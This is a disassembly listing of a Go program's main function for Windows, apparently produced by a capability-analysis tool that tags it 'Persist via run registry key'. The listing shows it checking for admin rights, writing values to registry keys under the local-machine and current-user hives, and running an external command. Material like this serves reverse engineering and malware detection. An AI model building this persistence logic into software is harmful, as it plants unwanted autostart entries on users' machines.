Function at 0x4c9e60
Capabilities:
Persist via run registry key

Disassembly:
lea r12, [rsp - 0x58]
cmp r12, qword [r14 + 0x10]
jbe 0x4ca274
push rbp
mov rbp, rsp
sub rsp, 0xd0
movups xmmword [rsp + 0xb8], xmm15
movups xmmword [rsp + 0xc0], xmm15
mov byte [rsp + 0x3b], 0
call sym.main.isAdmin
test al, al
je 0x4c9ffc
mov eax, 0x80000002
lea rbx, [0x005050d8]
mov ecx, 0x39
mov edi, 0xf003f
call sym.golang.org_x_sys_windows_registry.CreateKey
test rcx, rcx
je 0x4c9efc
mov qword [rsp + 0x48], rax
movups xmmword [rsp + 0xa8], xmm15
je 0x4c9ed2
mov rcx, qword [rcx + 8]
mov qword [rsp + 0xa8], rcx
mov qword [rsp + 0xb0], rdi
lea rax, [rsp + 0xa8]
mov ebx, 1
mov rcx, rbx
call sym.log.Fatal
mov rax, qword [rsp + 0x48]
lea rdx, [sym.main.main.deferwrap1]
mov qword [rsp + 0x78], rdx
mov qword [rsp + 0x80], rax
lea rdx, [rsp + 0x78]
mov qword [rsp + 0xb8], rdx
mov byte [rsp + 0x3b], 1
mov dword [rsp + 0x3c], 0
lea rbx, [0x004f9806]
mov ecx, 9
mov edi, 4
lea rsi, [rsp + 0x3c]
mov r8d, 4
mov r9, r8
call sym.golang.org_x_sys_windows_registry.Key.setValue
mov eax, 0x80000002
lea rbx, [0x00503be0]
mov ecx, 0x2d
mov edi, 0xf003f
call sym.golang.org_x_sys_windows_registry.CreateKey
test rcx, rcx
je 0x4c9fac
mov qword [rsp + 0x50], rax
movups xmmword [rsp + 0xa8], xmm15
je 0x4c9f82
mov rcx, qword [rcx + 8]
mov qword [rsp + 0xa8], rcx
mov qword [rsp + 0xb0], rdi
lea rax, [rsp + 0xa8]
mov ebx, 1
mov rcx, rbx
call sym.log.Fatal
mov rax, qword [rsp + 0x50]
lea rdx, [sym.main.main.deferwrap2]
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x70], rax
lea rdx, [rsp + 0x68]
mov qword [rsp + 0xc0], rdx
mov byte [rsp + 0x3b], 3
lea rbx, [0x004f956e]
mov ecx, 8
mov edi, 1
lea rsi, [0x00501ea0]
mov r8d, 0x23
call sym.golang.org_x_sys_windows_registry.Key.setStringValue
mov eax, 3
jmp 0x4ca121
mov eax, 0x80000001
lea rbx, [0x00504164]
mov ecx, 0x2f
mov edi, 0xf003f
call sym.golang.org_x_sys_windows_registry.CreateKey
nop word [rax + rax]
test rcx, rcx
jne 0x4ca22a
mov qword [rsp + 0x40], rax
lea rdx, [sym.main.main.deferwrap3]
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x58]
mov qword [rsp + 0xc8], rdx
mov byte [rsp + 0x3b], 4
nop
xor ebx, ebx
xor ecx, ecx
mov edi, 1
lea rsi, [0x00501ea0]
mov r8d, 0x23
call sym.golang.org_x_sys_windows_registry.Key.setStringValue
test rax, rax
jne 0x4ca1f4
nop
mov rax, qword [rsp + 0x40]
lea rbx, [0x004fb074]
mov ecx, 0xf
mov edi, 1
xor esi, esi
xor r8d, r8d
call sym.golang.org_x_sys_windows_registry.Key.setStringValue
nop word [rax + rax]
test rax, rax
jne 0x4ca1ba
movups xmmword [rsp + 0x88], xmm15
movups xmmword [rsp + 0x98], xmm15
mov qword [rsp + 0x90], 2
lea rdx, [0x004f8e0a]
mov qword [rsp + 0x88], rdx
mov qword [rsp + 0xa0], 0xf
lea rdx, [0x004fb083]
mov qword [rsp + 0x98], rdx
lea rax, [0x004f8e4e]
mov ebx, 3
lea rcx, [rsp + 0x88]
mov edi, 2
mov rsi, rdi
call sym.os_exec.Command
call sym.os_exec._Cmd_.Run
test rax, rax
jne 0x4ca184
mov eax, 4
test al, 4
je 0x4ca142
and eax, 0xfffffffb
mov byte [rsp + 0x3a], al
mov byte [rsp + 0x3b], al
mov rdx, qword [rsp + 0xc8]
mov rcx, qword [rdx]
call rcx
movzx eax, byte [rsp + 0x3a]
test al, 2
je 0x4ca163
and eax, 0xfffffffd
mov byte [rsp + 0x3a], al
mov byte [rsp + 0x3b], al
mov rdx, qword [rsp + 0xc0]
mov rcx, qword [rdx]
call rcx
movzx eax, byte [rsp + 0x3a]
test al, 1
je 0x4ca17b
and eax, 0xfffffffe
mov byte [rsp + 0x3b], al
mov rdx, qword [rsp + 0xb8]
mov rax, qword [rdx]
call rax
add rsp, 0xd0
pop rbp
ret
mov rcx, qword [rax + 0x18]
mov rax, rbx
call rcx
mov ecx, 0x1d
mov rdi, rax
mov rsi, rbx
xor eax, eax
lea rbx, [0x0050018e]
call sym.runtime.concatstring2
call sym.runtime.convTstring
mov rbx, rax
lea rax, [0x004d6f00]
call sym.runtime.gopanic
mov rcx, qword [rax + 0x18]
mov rax, rbx
call rcx
mov ecx, 0x25
mov rdi, rax
mov rsi, rbx
xor eax, eax
lea rbx, [0x00502591]
call sym.runtime.concatstring2
nop dword [rax]
call sym.runtime.convTstring
mov rbx, rax
lea rax, [0x004d6f00]
call sym.runtime.gopanic
mov rcx, qword [rax + 0x18]
mov rax, rbx
call rcx
mov ecx, 0x1e
mov rdi, rax
mov rsi, rbx
xor eax, eax
lea rbx, [0x005007c9]
call sym.runtime.concatstring2
call sym.runtime.convTstring
mov rbx, rax
lea rax, [0x004d6f00]
call sym.runtime.gopanic
mov rcx, qword [rcx + 0x18]
mov rax, rdi
call rcx
mov ecx, 0x1f
mov rdi, rax
mov rsi, rbx
xor eax, eax
lea rbx, [0x00500da5]
call sym.runtime.concatstring2
call sym.runtime.convTstring
mov rbx, rax
lea rax, [0x004d6f00]
nop dword [rax + rax]
call sym.runtime.gopanic
nop
call sym.runtime.deferreturn
add rsp, 0xd0
pop rbp
ret
call sym.runtime.morestack_noctxt.abi0
jmp sym.main.main